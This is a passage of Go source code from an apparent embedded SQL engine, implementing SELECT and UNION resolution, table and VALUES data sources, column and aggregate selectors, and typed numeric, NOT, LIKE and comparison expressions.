sb.String() + "END" } type Comparison int const ( EqualTo Comparison = iota LowerThan LowerOrEqualTo GreaterThan GreaterOrEqualTo ) type DataSource interface { SQLStmt Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) Alias() string } type TargetEntry struct { Exp ValueExp As string } type SelectStmt struct { distinct bool targets []TargetEntry selectors []Selector ds DataSource indexOn []string joins []*JoinSpec where ValueExp groupBy []*ColSelector having ValueExp orderBy []*OrdExp limit ValueExp offset ValueExp as string } func NewSelectStmt( targets []TargetEntry, ds DataSource, where ValueExp, orderBy []*OrdExp, limit ValueExp, offset ValueExp, ) *SelectStmt { return &SelectStmt{ targets: targets, ds: ds, where: where, orderBy: orderBy, limit: limit, offset: offset, } } func (stmt *SelectStmt) readOnly() bool { return true } func (stmt *SelectStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeSelect} } func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { _, err := stmt.execAt(ctx, tx, nil) if err != nil { return err } // TODO: (jeroiraz) may be optimized so to resolve the query statement just once rowReader, err := stmt.Resolve(ctx, tx, nil, nil) if err != nil { return err } defer rowReader.Close() return rowReader.InferParameters(ctx, params) } func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if stmt.groupBy == nil && stmt.having != nil { return nil, ErrHavingClauseRequiresGroupClause } if stmt.containsAggregations() || len(stmt.groupBy) > 0 { for _, sel := range stmt.targetSelectors() { _, isAgg := sel.(*AggColSelector) if !isAgg && !stmt.groupByContains(sel) { return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) } } } if len(stmt.orderBy) > 0 { for _, col := range stmt.orderBy { for _, sel := range col.exp.selectors() { _, isAgg := sel.(*AggColSelector) if (isAgg && !stmt.selectorAppearsInTargets(sel)) || (!isAgg && len(stmt.groupBy) > 0 && !stmt.groupByContains(sel)) { return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) } } } } return tx, nil } func (stmt *SelectStmt) targetSelectors() []Selector { if stmt.selectors == nil { stmt.selectors = stmt.extractSelectors() } return stmt.selectors } func (stmt *SelectStmt) selectorAppearsInTargets(s Selector) bool { encSel := EncodeSelector(s.resolve(stmt.Alias())) for _, sel := range stmt.targetSelectors() { if EncodeSelector(sel.resolve(stmt.Alias())) == encSel { return true } } return false } func (stmt *SelectStmt) groupByContains(sel Selector) bool { encSel := EncodeSelector(sel.resolve(stmt.Alias())) for _, colSel := range stmt.groupBy { if EncodeSelector(colSel.resolve(stmt.Alias())) == encSel { return true } } return false } func (stmt *SelectStmt) extractGroupByCols() []*AggColSelector { cols := make([]*AggColSelector, 0, len(stmt.targets)) for _, t := range stmt.targets { selectors := t.Exp.selectors() for _, sel := range selectors { aggSel, isAgg := sel.(*AggColSelector) if isAgg { cols = append(cols, aggSel) } } } return cols } func (stmt *SelectStmt) extractSelectors() []Selector { selectors := make([]Selector, 0, len(stmt.targets)) for _, t := range stmt.targets { selectors = append(selectors, t.Exp.selectors()...) } return selectors } func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { scanSpecs, err := stmt.genScanSpecs(tx, params) if err != nil { return nil, err } rowReader, err := stmt.ds.Resolve(ctx, tx, params, scanSpecs) if err != nil { return nil, err } defer func() { if err != nil { rowReader.Close() } }() if stmt.joins != nil { var jointRowReader *jointRowReader jointRowReader, err = newJointRowReader(rowReader, stmt.joins) if err != nil { return nil, err } rowReader = jointRowReader } if stmt.where != nil { rowReader = newConditionalRowReader(rowReader, stmt.where) } if stmt.containsAggregations() || len(stmt.groupBy) > 0 { if len(scanSpecs.groupBySortExps) > 0 { var sortRowReader *sortRowReader sortRowReader, err = newSortRowReader(rowReader, scanSpecs.groupBySortExps) if err != nil { return nil, err } rowReader = sortRowReader } var groupedRowReader *groupedRowReader groupedRowReader, err = newGroupedRowReader(rowReader, allAggregations(stmt.targets), stmt.extractGroupByCols(), stmt.groupBy) if err != nil { return nil, err } rowReader = groupedRowReader if stmt.having != nil { rowReader = newConditionalRowReader(rowReader, stmt.having) } } if len(scanSpecs.orderBySortExps) > 0 { var sortRowReader *sortRowReader sortRowReader, err = newSortRowReader(rowReader, stmt.orderBy) if err != nil { return nil, err } rowReader = sortRowReader } projectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.targets) if err != nil { return nil, err } rowReader = projectedRowReader if stmt.distinct { var distinctRowReader *distinctRowReader distinctRowReader, err = newDistinctRowReader(ctx, rowReader) if err != nil { return nil, err } rowReader = distinctRowReader } if stmt.offset != nil { var offset int offset, err = evalExpAsInt(tx, stmt.offset, params) if err != nil { return nil, fmt.Errorf("%w: invalid offset", err) } rowReader = newOffsetRowReader(rowReader, offset) } if stmt.limit != nil { var limit int limit, err = evalExpAsInt(tx, stmt.limit, params) if err != nil { return nil, fmt.Errorf("%w: invalid limit", err) } if limit < 0 { return nil, fmt.Errorf("%w: invalid limit", ErrIllegalArguments) } if limit > 0 { rowReader = newLimitRowReader(rowReader, limit) } } return rowReader, nil } func (stmt *SelectStmt) rearrangeOrdExps(groupByCols, orderByExps []*OrdExp) ([]*OrdExp, []*OrdExp) { if len(groupByCols) > 0 && len(orderByExps) > 0 && !ordExpsHaveAggregations(orderByExps) { if ordExpsHasPrefix(orderByExps, groupByCols, stmt.Alias()) { return orderByExps, nil } if ordExpsHasPrefix(groupByCols, orderByExps, stmt.Alias()) { for i := range orderByExps { groupByCols[i].descOrder = orderByExps[i].descOrder } return groupByCols, nil } } return groupByCols, orderByExps } func ordExpsHasPrefix(cols, prefix []*OrdExp, table string) bool { if len(prefix) > len(cols) { return false } for i := range prefix { ls := prefix[i].AsSelector() rs := cols[i].AsSelector() if ls == nil || rs == nil { return false } if EncodeSelector(ls.resolve(table)) != EncodeSelector(rs.resolve(table)) { return false } } return true } func (stmt *SelectStmt) groupByOrdExps() []*OrdExp { groupByCols := stmt.groupBy ordExps := make([]*OrdExp, 0, len(groupByCols)) for _, col := range groupByCols { ordExps = append(ordExps, &OrdExp{exp: col}) } return ordExps } func ordExpsHaveAggregations(exps []*OrdExp) bool { for _, e := range exps { if _, isAgg := e.exp.(*AggColSelector); isAgg { return true } } return false } func (stmt *SelectStmt) containsAggregations() bool { for _, sel := range stmt.targetSelectors() { _, isAgg := sel.(*AggColSelector) if isAgg { return true } } return false } func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, error) { offset, err := exp.substitute(params) if err != nil { return 0, err } texp, err := offset.reduce(tx, nil, "") if err != nil { return 0, err } convVal, err := mayApplyImplicitConversion(texp.RawValue(), IntegerType) if err != nil { return 0, ErrInvalidValue } num, ok := convVal.(int64) if !ok { return 0, ErrInvalidValue } if num > math.MaxInt32 { return 0, ErrInvalidValue } return int(num), nil } func (stmt *SelectStmt) Alias() string { if stmt.as == "" { return stmt.ds.Alias() } return stmt.as } func (stmt *SelectStmt) hasTxMetadata() bool { for _, sel := range stmt.targetSelectors() { switch s := sel.(type) { case *ColSelector: if s.col == txMetadataCol { return true } case *JSONSelector: if s.ColSelector.col == txMetadataCol { return true } } } return false } func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) { groupByCols, orderByCols := stmt.groupByOrdExps(), stmt.orderBy tableRef, isTableRef := stmt.ds.(*tableRef) if !isTableRef { groupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols) return &ScanSpecs{ groupBySortExps: groupByCols, orderBySortExps: orderByCols, }, nil } table, err := tableRef.referencedTable(tx) if err != nil { if tx.engine.tableResolveFor(tableRef.table) != nil { return &ScanSpecs{ groupBySortExps: groupByCols, orderBySortExps: orderByCols, }, nil } return nil, err } rangesByColID := make(map[uint32]*typedValueRange) if stmt.where != nil { err = stmt.where.selectorRanges(table, tableRef.Alias(), params, rangesByColID) if err != nil { return nil, err } } preferredIndex, err := stmt.getPreferredIndex(table) if err != nil { return nil, err } var sortingIndex *Index if preferredIndex == nil { sortingIndex = stmt.selectSortingIndex(groupByCols, orderByCols, table, rangesByColID) } else { sortingIndex = preferredIndex } if sortingIndex == nil { sortingIndex = table.primaryIndex } if tableRef.history && !sortingIndex.IsPrimary() { return nil, fmt.Errorf("%w: historical queries are supported over primary index", ErrIllegalArguments) } var descOrder bool if len(groupByCols) > 0 && sortingIndex.coversOrdCols(groupByCols, rangesByColID) { groupByCols = nil } if len(groupByCols) == 0 && len(orderByCols) > 0 && sortingIndex.coversOrdCols(orderByCols, rangesByColID) { descOrder = orderByCols[0].descOrder orderByCols = nil } groupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols) return &ScanSpecs{ Index: sortingIndex, rangesByColID: rangesByColID, IncludeHistory: tableRef.history, IncludeTxMetadata: stmt.hasTxMetadata(), DescOrder: descOrder, groupBySortExps: groupByCols, orderBySortExps: orderByCols, }, nil } func (stmt *SelectStmt) selectSortingIndex(groupByCols, orderByCols []*OrdExp, table *Table, rangesByColId map[uint32]*typedValueRange) *Index { sortCols := groupByCols if len(sortCols) == 0 { sortCols = orderByCols } if len(sortCols) == 0 { return nil } for _, idx := range table.indexes { if idx.coversOrdCols(sortCols, rangesByColId) { return idx } } return nil } func (stmt *SelectStmt) getPreferredIndex(table *Table) (*Index, error) { if len(stmt.indexOn) == 0 { return nil, nil } cols := make([]*Column, len(stmt.indexOn)) for i, colName := range stmt.indexOn { col, err := table.GetColumnByName(colName) if err != nil { return nil, err } cols[i] = col } return table.GetIndexByName(indexName(table.name, cols)) } type UnionStmt struct { distinct bool left, right DataSource } func (stmt *UnionStmt) readOnly() bool { return true } func (stmt *UnionStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeSelect} } func (stmt *UnionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { err := stmt.left.inferParameters(ctx, tx, params) if err != nil { return err } return stmt.right.inferParameters(ctx, tx, params) } func (stmt *UnionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { _, err := stmt.left.execAt(ctx, tx, params) if err != nil { return tx, err } return stmt.right.execAt(ctx, tx, params) } func (stmt *UnionStmt) resolveUnionAll(ctx context.Context, tx *SQLTx, params map[string]interface{}) (ret RowReader, err error) { leftRowReader, err := stmt.left.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } defer func() { if err != nil { leftRowReader.Close() } }() rightRowReader, err := stmt.right.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } defer func() { if err != nil { rightRowReader.Close() } }() rowReader, err := newUnionRowReader(ctx, []RowReader{leftRowReader, rightRowReader}) if err != nil { return nil, err } return rowReader, nil } func (stmt *UnionStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { rowReader, err := stmt.resolveUnionAll(ctx, tx, params) if err != nil { return nil, err } defer func() { if err != nil { rowReader.Close() } }() if stmt.distinct { distinctReader, err := newDistinctRowReader(ctx, rowReader) if err != nil { return nil, err } rowReader = distinctReader } return rowReader, nil } func (stmt *UnionStmt) Alias() string { return "" } func NewTableRef(table string, as string) *tableRef { return &tableRef{ table: table, as: as, } } type tableRef struct { table string history bool period period as string } func (ref *tableRef) readOnly() bool { return true } func (ref *tableRef) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeSelect} } type period struct { start *openPeriod end *openPeriod } type openPeriod struct { inclusive bool instant periodInstant } type periodInstant struct { exp ValueExp instantType instantType } type instantType = int const ( txInstant instantType = iota timeInstant ) func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, inclusive bool) (uint64, error) { exp, err := i.exp.substitute(params) if err != nil { return 0, err } instantVal, err := exp.reduce(tx, nil, "") if err != nil { return 0, err } if i.instantType == txInstant { txID, ok := instantVal.RawValue().(int64) if !ok { return 0, fmt.Errorf("%w: invalid tx range, tx ID must be a positive integer, %s given", ErrIllegalArguments, instantVal.Type()) } if txID <= 0 { return 0, fmt.Errorf("%w: invalid tx range, tx ID must be a positive integer, %d given", ErrIllegalArguments, txID) } if inclusive { return uint64(txID), nil } if asc { return uint64(txID + 1), nil } if txID <= 1 { return 0, fmt.Errorf("%w: invalid tx range, tx ID must be greater than 1, %d given", ErrIllegalArguments, txID) } return uint64(txID - 1), nil } else { var ts time.Time if instantVal.Type() == TimestampType { ts = instantVal.RawValue().(time.Time) } else { conv, err := getConverter(instantVal.Type(), TimestampType) if err != nil { return 0, err } tval, err := conv(instantVal) if err != nil { return 0, err } ts = tval.RawValue().(time.Time) } sts := ts if asc { if !inclusive { sts = sts.Add(1 * time.Second) } txHdr, err := tx.engine.store.FirstTxSince(sts) if err != nil { return 0, err } return txHdr.ID, nil } if !inclusive { sts = sts.Add(-1 * time.Second) } txHdr, err := tx.engine.store.LastTxUntil(sts) if err != nil { return 0, err } return txHdr.ID, nil } } func (stmt *tableRef) referencedTable(tx *SQLTx) (*Table, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } return table, nil } func (stmt *tableRef) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *tableRef) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } func (stmt *tableRef) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { if tx == nil { return nil, ErrIllegalArguments } table, err := stmt.referencedTable(tx) if err == nil { return newRawRowReader(tx, params, table, stmt.period, stmt.as, scanSpecs) } if resolver := tx.engine.tableResolveFor(stmt.table); resolver != nil { return resolver.Resolve(ctx, tx, stmt.Alias()) } return nil, err } func (stmt *tableRef) Alias() string { if stmt.as == "" { return stmt.table } return stmt.as } type valuesDataSource struct { inferTypes bool rows []*RowSpec } func NewValuesDataSource(rows []*RowSpec) *valuesDataSource { return &valuesDataSource{ rows: rows, } } func (ds *valuesDataSource) readOnly() bool { return true } func (ds *valuesDataSource) requiredPrivileges() []SQLPrivilege { return nil } func (ds *valuesDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } func (ds *valuesDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (ds *valuesDataSource) Alias() string { return "" } func (ds *valuesDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { if tx == nil { return nil, ErrIllegalArguments } cols := make([]ColDescriptor, len(ds.rows[0].Values)) for i := range cols { cols[i] = ColDescriptor{ Type: AnyType, Column: fmt.Sprintf("col%d", i), } } emptyColsDesc, emptyParams := map[string]ColDescriptor{}, map[string]string{} if ds.inferTypes { for i := 0; i < len(cols); i++ { t := AnyType for j := 0; j < len(ds.rows); j++ { e, err := ds.rows[j].Values[i].substitute(params) if err != nil { return nil, err } it, err := e.inferType(emptyColsDesc, emptyParams, "") if err != nil { return nil, err } if t == AnyType { t = it } else if t != it && it != AnyType { return nil, fmt.Errorf("cannot match types %s and %s", t, it) } } cols[i].Type = t } } values := make([][]ValueExp, len(ds.rows)) for i, rowSpec := range ds.rows { values[i] = rowSpec.Values } return NewValuesRowReader(tx, params, cols, ds.inferTypes, "values", values) } type JoinSpec struct { joinType JoinType ds DataSource cond ValueExp indexOn []string } type OrdExp struct { exp ValueExp descOrder bool } func (oc *OrdExp) AsSelector() Selector { sel, ok := oc.exp.(Selector) if ok { return sel } return nil } func NewOrdCol(table string, col string, descOrder bool) *OrdExp { return &OrdExp{ exp: NewColSelector(table, col), descOrder: descOrder, } } type Selector interface { ValueExp resolve(implicitTable string) (aggFn, table, col string) } type ColSelector struct { table string col string } func NewColSelector(table, col string) *ColSelector { return &ColSelector{ table: table, col: col, } } func (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) { table = implicitTable if sel.table != "" { table = sel.table } return "", table, sel.col } func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { _, table, col := sel.resolve(implicitTable) encSel := EncodeSelector("", table, col) desc, ok := cols[encSel] if !ok { return AnyType, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } return desc.Type, nil } func (sel *ColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { _, table, col := sel.resolve(implicitTable) encSel := EncodeSelector("", table, col) desc, ok := cols[encSel] if !ok { return fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } if desc.Type != t { return fmt.Errorf("%w: %v(%s) can not be interpreted as type %v", ErrInvalidTypes, desc.Type, encSel, t) } return nil } func (sel *ColSelector) substitute(params map[string]interface{}) (ValueExp, error) { return sel, nil } func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if row == nil { return nil, fmt.Errorf("%w: no row to evaluate in current context", ErrInvalidValue) } aggFn, table, col := sel.resolve(implicitTable) v, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } return v, nil } func (sel *ColSelector) selectors() []Selector { return []Selector{sel} } func (sel *ColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { aggFn, table, col := sel.resolve(implicitTable) v, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)] if !ok { return sel } return v } func (sel *ColSelector) isConstant() bool { return false } func (sel *ColSelector) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (sel *ColSelector) String() string { return sel.col } type AggColSelector struct { aggFn AggregateFn table string col string } func NewAggColSelector(aggFn AggregateFn, table, col string) *AggColSelector { return &AggColSelector{ aggFn: aggFn, table: table, col: col, } } func EncodeSelector(aggFn, table, col string) string { return aggFn + "(" + table + "." + col + ")" } func (sel *AggColSelector) resolve(implicitTable string) (aggFn, table, col string) { table = implicitTable if sel.table != "" { table = sel.table } return sel.aggFn, table, sel.col } func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if sel.aggFn == COUNT { return IntegerType, nil } colSelector := &ColSelector{table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { t, err := colSelector.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } if t != IntegerType && t != Float64Type { return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, t) } return t, nil } return colSelector.inferType(cols, params, implicitTable) } func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if sel.aggFn == COUNT { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } return nil } colSelector := &ColSelector{table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { if t != IntegerType && t != Float64Type { return fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, t) } } return colSelector.requiresType(t, cols, params, implicitTable) } func (sel *AggColSelector) substitute(params map[string]interface{}) (ValueExp, error) { return sel, nil } func (sel *AggColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if row == nil { return nil, fmt.Errorf("%w: no row to evaluate aggregation (%s) in current context", ErrInvalidValue, sel.aggFn) } v, ok := row.ValuesBySelector[EncodeSelector(sel.resolve(implicitTable))] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, sel.col) } return v, nil } func (sel *AggColSelector) selectors() []Selector { return []Selector{sel} } func (sel *AggColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { return sel } func (sel *AggColSelector) isConstant() bool { return false } func (sel *AggColSelector) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (sel *AggColSelector) String() string { return sel.aggFn + "(" + sel.col + ")" } type NumExp struct { op NumOperator left, right ValueExp } func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { // First step - check if we can infer the type of sub-expressions tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } if tleft != AnyType && tleft != IntegerType && tleft != Float64Type && tleft != JSONType { return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tleft) } tright, err := bexp.right.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } if tright != AnyType && tright != IntegerType && tright != Float64Type && tright != JSONType { return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tright) } if tleft == IntegerType && tright == IntegerType { // Both sides are integer types - the result is also integer return IntegerType, nil } if tleft != AnyType && tright != AnyType { // Both sides have concrete types but at least one of them is float return Float64Type, nil } // Both sides are ambiguous return AnyType, nil } func copyParams(params map[string]SQLValueType) map[string]SQLValueType { ret := make(map[string]SQLValueType, len(params)) for k, v := range params { ret[k] = v } return ret } func restoreParams(params, restore map[string]SQLValueType) { for k := range params { delete(params, k) } for k, v := range restore { params[k] = v } } func (bexp *NumExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType && t != Float64Type { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } floatArgs := 2 paramsOrig := copyParams(params) err := bexp.left.requiresType(t, cols, params, implicitTable) if err != nil && t == Float64Type { restoreParams(params, paramsOrig) floatArgs-- err = bexp.left.requiresType(IntegerType, cols, params, implicitTable) } if err != nil { return err } paramsOrig = copyParams(params) err = bexp.right.requiresType(t, cols, params, implicitTable) if err != nil && t == Float64Type { restoreParams(params, paramsOrig) floatArgs-- err = bexp.right.requiresType(IntegerType, cols, params, implicitTable) } if err != nil { return err } if t == Float64Type && floatArgs == 0 { // Currently this case requires explicit float cast return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } return nil } func (bexp *NumExp) substitute(params map[string]interface{}) (ValueExp, error) { rlexp, err := bexp.left.substitute(params) if err != nil { return nil, err } rrexp, err := bexp.right.substitute(params) if err != nil { return nil, err } bexp.left = rlexp bexp.right = rrexp return bexp, nil } func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } vl = unwrapJSON(vl) vr = unwrapJSON(vr) return applyNumOperator(bexp.op, vl, vr) } func unwrapJSON(v TypedValue) TypedValue { if jsonVal, ok := v.(*JSON); ok { if sv, isSimple := jsonVal.castToTypedValue(); isSimple { return sv } } return v } func (bexp *NumExp) selectors() []Selector { return append(bexp.left.selectors(), bexp.right.selectors()...) } func (bexp *NumExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NumExp{ op: bexp.op, left: bexp.left.reduceSelectors(row, implicitTable), right: bexp.right.reduceSelectors(row, implicitTable), } } func (bexp *NumExp) isConstant() bool { return bexp.left.isConstant() && bexp.right.isConstant() } func (bexp *NumExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (bexp *NumExp) String() string { return fmt.Sprintf("(%s %s %s)", bexp.left.String(), NumOperatorString(bexp.op), bexp.right.String()) } type NotBoolExp struct { exp ValueExp } func (bexp *NotBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { err := bexp.exp.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } return BooleanType, nil } func (bexp *NotBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } return bexp.exp.requiresType(BooleanType, cols, params, implicitTable) } func (bexp *NotBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { rexp, err := bexp.exp.substitute(params) if err != nil { return nil, err } bexp.exp = rexp return bexp, nil } func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { v, err := bexp.exp.reduce(tx, row, implicitTable) if err != nil { return nil, err } r, isBool := v.RawValue().(bool) if !isBool { return nil, ErrInvalidCondition } return &Bool{val: !r}, nil } func (bexp *NotBoolExp) selectors() []Selector { return bexp.exp.selectors() } func (bexp *NotBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NotBoolExp{ exp: bexp.exp.reduceSelectors(row, implicitTable), } } func (bexp *NotBoolExp) isConstant() bool { return bexp.exp.isConstant() } func (bexp *NotBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (bexp *NotBoolExp) String() string { return fmt.Sprintf("(NOT %s)", bexp.exp.String()) } type LikeBoolExp struct { val ValueExp notLike bool pattern ValueExp } func NewLikeBoolExp(val ValueExp, notLike bool, pattern ValueExp) *LikeBoolExp { return &LikeBoolExp{ val: val, notLike: notLike, pattern: pattern, } } func (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if bexp.val == nil || bexp.pattern == nil { return AnyType, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } err := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error in 'LIKE' clause: %w", err) } return BooleanType, nil } func (bexp *LikeBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if bexp.val == nil || bexp.pattern == nil { return fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } if t != BooleanType { return fmt.Errorf("error using the value of the LIKE operator as %s: %w", t, ErrInvalidTypes) } err := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable) if err != nil { return fmt.Errorf("error in 'LIKE' clause: %w", err) } return nil } func (bexp *LikeBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { if bexp.val == nil || bexp.pattern == nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } val, err := bexp.val.substitute(params) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } pattern, err := bexp.pattern.substitute(params) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } return &LikeBoolExp{ val: val, notLike: bexp.notLike, pattern: pattern, }, nil } func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if bexp.val == nil || bexp.pattern == nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } rval, err := bexp.val.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } if rval.IsNull() { return &Bool{val: bexp.notLike}, nil } rvalStr, ok := rval.RawValue().(string) if !ok { return nil, fmt.Errorf("error in 'LIKE' clause: %w (expecting %s)", ErrInvalidTypes, VarcharType) } rpattern, err := bexp.pattern.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } if rpattern.Type() != VarcharType { return nil, fmt.Errorf("error evaluating 'LIKE' clause: %w", ErrInvalidTypes) } matched, err := regexp.MatchString(rpattern.RawValue().(string), rvalStr) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } return &Bool{val: matched != bexp.notLike}, nil } func (bexp *LikeBoolExp) selectors() []Selector { return bexp.val.selectors() } func (bexp *LikeBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } func (bexp *LikeBoolExp) isConstant() bool { return false } func (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (bexp *LikeBoolExp) String() string { fmtStr := "(%s LIKE %s)" if bexp.notLike { fmtStr = "(%s NOT LIKE %s)" } return fmt.Sprintf(fmtStr, bexp.val.String(), bexp.pattern.String()) } type CmpBoolExp struct { op CmpOperator left, right ValueExp } func NewCmpBoolExp(op CmpOperator, left, right ValueExp) *CmpBoolExp { return &CmpBoolExp{ op: op, left: left, right: right, } } func (bexp *CmpBoolExp) Left() ValueExp { return bexp.left } func (bexp *CmpBoolExp) Right() ValueExp { return bexp.right } func (bexp *CmpBoolExp) OP() CmpOperator { return bexp.op } func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } tright, err := bexp.right.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } // unification step if tleft == tright { return BooleanType, nil } _, ok := coerceTypes(tleft, tright) if !ok { return AnyType, fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, tleft, tright) } if tleft == AnyType { err = bexp.left.requiresType(tright, cols, params, implicitTable) if err != nil { return AnyType, err } } if tright == AnyType { err = bexp.right.requiresType(tleft, cols, params, implicitTable) if err != nil { return AnyType, err } } return BooleanType, nil } func coerceTypes(t1, t2 SQLValueType) (SQLValueType, bool) { switch { case t1 == t2: return t1, true case t1 == AnyType: return t2, true case t2 == AnyType: return t1, true case 